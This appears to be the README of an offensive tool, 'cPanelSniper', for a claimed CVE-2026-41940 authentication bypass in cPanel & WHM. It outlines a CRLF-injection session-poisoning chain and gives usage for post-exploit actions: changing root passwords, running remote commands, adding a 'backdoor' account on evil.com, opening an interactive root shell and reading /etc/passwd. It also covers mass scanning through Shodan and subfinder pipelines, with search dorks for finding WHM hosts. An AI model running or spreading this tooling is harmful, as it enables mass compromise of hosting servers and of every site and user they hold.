██████╗██████╗  █████╗ ███╗   ██╗███████╗██╗
██╔════╝██╔══██╗██╔══██╗████╗  ██║██╔════╝██║
██║     ██████╔╝███████║██╔██╗ ██║█████╗  ██║
██║     ██╔═══╝ ██╔══██║██║╚██╗██║██╔══╝  ██║
╚██████╗██║     ██║  ██║██║ ╚████║███████╗███████╗
 ╚═════╝╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚══════╝

 ██████╗██╗   ██╗███████╗
██╔════╝██║   ██║██╔════╝
██║     ██║   ██║█████╗
██║     ╚██╗ ██╔╝██╔══╝
╚██████╗ ╚████╔╝ ███████╗
 ╚═════╝  ╚═══╝  ╚══════╝

███████╗██╗  ██╗██████╗ ██╗      ██████╗ ██╗████████╗
██╔════╝╚██╗██╔╝██╔══██╗██║     ██╔═══██╗██║╚══██╔══╝
█████╗   ╚███╔╝ ██████╔╝██║     ██║   ██║██║   ██║
██╔══╝   ██╔██╗ ██╔═══╝ ██║     ██║   ██║██║   ██║
███████╗██╔╝ ██╗██║     ███████╗╚██████╔╝██║   ██║
╚══════╝╚═╝  ╚═╝╚═╝     ╚══════╝ ╚═════╝ ╚═╝   ╚═╝

root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

flowchart TD
    A[Stage 0: Canonical Host Discovery] --> B[Stage 1: Mint Preauth Session]
    B --> C[Stage 2: CRLF Injection via Authorization Header]
    C --> D[Stage 3: Session Propagation via do_token_denied]
    D --> E[Stage 4: Verify Root Access via json-api/version]
    E --> F{Vulnerable?}
    F -->|Yes| G[Post-Exploit Actions / Interactive Shell]
    F -->|No| H[Skip Target]

    A -.- A1["GET /openid_connect/cpanelid → 307 redirect reveals real hostname"]
    B -.- B1["POST /login/?login_only=1 → whostmgrsession cookie"]
    C -.- C1["GET / + poisoned Basic auth → /cpsessXXXXXXXXXX token"]
    D -.- D1["GET /scripts2/listaccts → flush raw session to cache"]
    E -.- E1["GET /cpsessXXX/json-api/version → HTTP 200 + version JSON"]

pip install -r requirements.txt   # optional — selenium only

git clone https://github.com/YOUR_USERNAME/cpanel-cve-exploit.git
cd cpanel-cve-exploit

python3 test-cve.py --help

# Scan a single WHM target
python3 test-cve.py -u https://target.com:2087

# Scan with post-exploit: list all cPanel accounts
python3 test-cve.py -u https://target.com:2087 --action list

# Mass scan from file, 20 threads, save JSON report
python3 test-cve.py -l targets.txt -t 20 -o results.json

usage: test-cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                   [-t THREADS] [--timeout TIMEOUT] [--rate-limit RATE_LIMIT]
                   [--action {list,passwd,cmd,exec,info,version,shell,adduser}]
                   [--passwd PASSWD] [--cmd CMD]
                   [--new-user NEW_USER] [--new-domain NEW_DOMAIN]
                   [--read-file READ_FILE] [--selenium]
                   [--engine {chrome,firefox}] [--browser] [--check-rce]
                   [-o OUTPUT] [--no-color]

# Change root password after bypass
python3 test-cve.py -u https://target.com:2087 --action passwd --passwd 'P@ss2026!'

# Execute remote command
python3 test-cve.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"

# Create backdoor cPanel account
python3 test-cve.py -u https://target.com:2087 \
  --action adduser --new-user backdoor --new-domain evil.com --passwd 'TempPass2026!'

# Open interactive WHM shell
python3 test-cve.py -u https://target.com:2087 --action shell

# Auto-login via Chrome
python3 test-cve.py -u https://target.com:2087 --selenium --engine chrome

# Manual browser login (prints JS for DevTools console)
python3 test-cve.py -u https://target.com:2087 --browser

[email protected] ▶ help

  id / whoami / hostname / version  → server info
  ls [path]                         → file listing
  cat [path]                        → read file contents
  accounts                          → list cPanel accounts
  addadmin <user> <pass>            → create WHM admin/reseller
  passwd <newpass>                  → change root password
  exec <command>                    → run OS command
  exit / quit                       → exit shell

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  user=webuser1          domain=example.com          [email protected]
  user=webuser2          domain=test.com             [email protected]

[email protected] ▶ cat /etc/passwd

[email protected] ▶ exit

python3 test-cve.py -l targets.txt -t 20 -o results.json

cat urls.txt | python3 test-cve.py

# subfinder + httpx pipeline
subfinder -d example.com -silent | httpx -p 2087 -silent | python3 test-cve.py -t 30

# Shodan pipeline
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' | python3 test-cve.py -t 30 -o shodan_results.json

title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"WHM"
ssl:"cpanel" port:2087

{
  "scanner": "cPanelSniper v2.0",
  "cve": "CVE-2026-41940",
  "timestamp": "2026-05-23T12:00:00.000000",
  "findings": [
    {
      "severity": "CRIT",
      "title": "CVE-2026-41940 — cPanel & WHM Authentication Bypass",
      "target": "https://target.com:2087",
      "canonical": "server.target.com",
      "session": "root:SessionName",
      "token": "/cpsess1234567890",
      "version": "11.126.0.50",
      "api_url": "https://target.com:2087/cpsess1234567890/json-api/version",
      "evidence": "{\"version\":\"11.126.0.50\"...}",
      "cve": "CVE-2026-41940",
      "cvss": "10.0",
      "timestamp": "2026-05-23T12:00:05.000000"
    }
  ]
}

══════════════════════════════════════════════════════════════════════
  cPanelSniper — CVE-2026-41940 Scan Complete
  Time: 12.4s  ·  Targets: 50
──────────────────────────────────────────────────────────────────────

  ⚡ 2 VULNERABLE TARGET(S)

  Target   : https://victim1.com:2087
  Version  : 11.126.0.50
  Token    : /cpsess1234567890
  API URL  : https://victim1.com:2087/cpsess1234567890/json-api/version
  Evidence : {"version":"11.126.0.50"...}

══════════════════════════════════════════════════════════════════════

$ python3 test-cve.py -u https://target.com:2087

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : scan only

12:00:01 [INFO] Canonical hostname discovered: server.target.com
12:00:02 [  OK] Stage1: preauth session = root:abc123...
12:00:03 [  OK] Stage2: HTTP 307 → token=/cpsess1234567890
12:00:04 [  OK] Stage3: HTTP 401 — do_token_denied gadget fired
12:00:05 [INFO] Stage4: HTTP 200  {"version":"11.126.0.50"...}
12:00:05 [PWND] CVE-2026-41940 CONFIRMED — WHM root access! (v11.126.0.50 — CONFIRMED vulnerable)
12:00:05 [PWND]   Token    : /cpsess1234567890
12:00:05 [PWND]   Session  : root:abc123...
12:00:05 [PWND]   Version  : 11.126.0.50
12:00:05 [PWND]   API URL  : https://target.com:2087/cpsess1234567890/json-api/version

cpanel-cve-exploit/
├── test-cve.py        # Main scanner & exploit tool (single file)
├── requirements.txt   # Optional: selenium
├── README.md          # English documentation
└── README.fa.md       # Persian documentation (فارسی)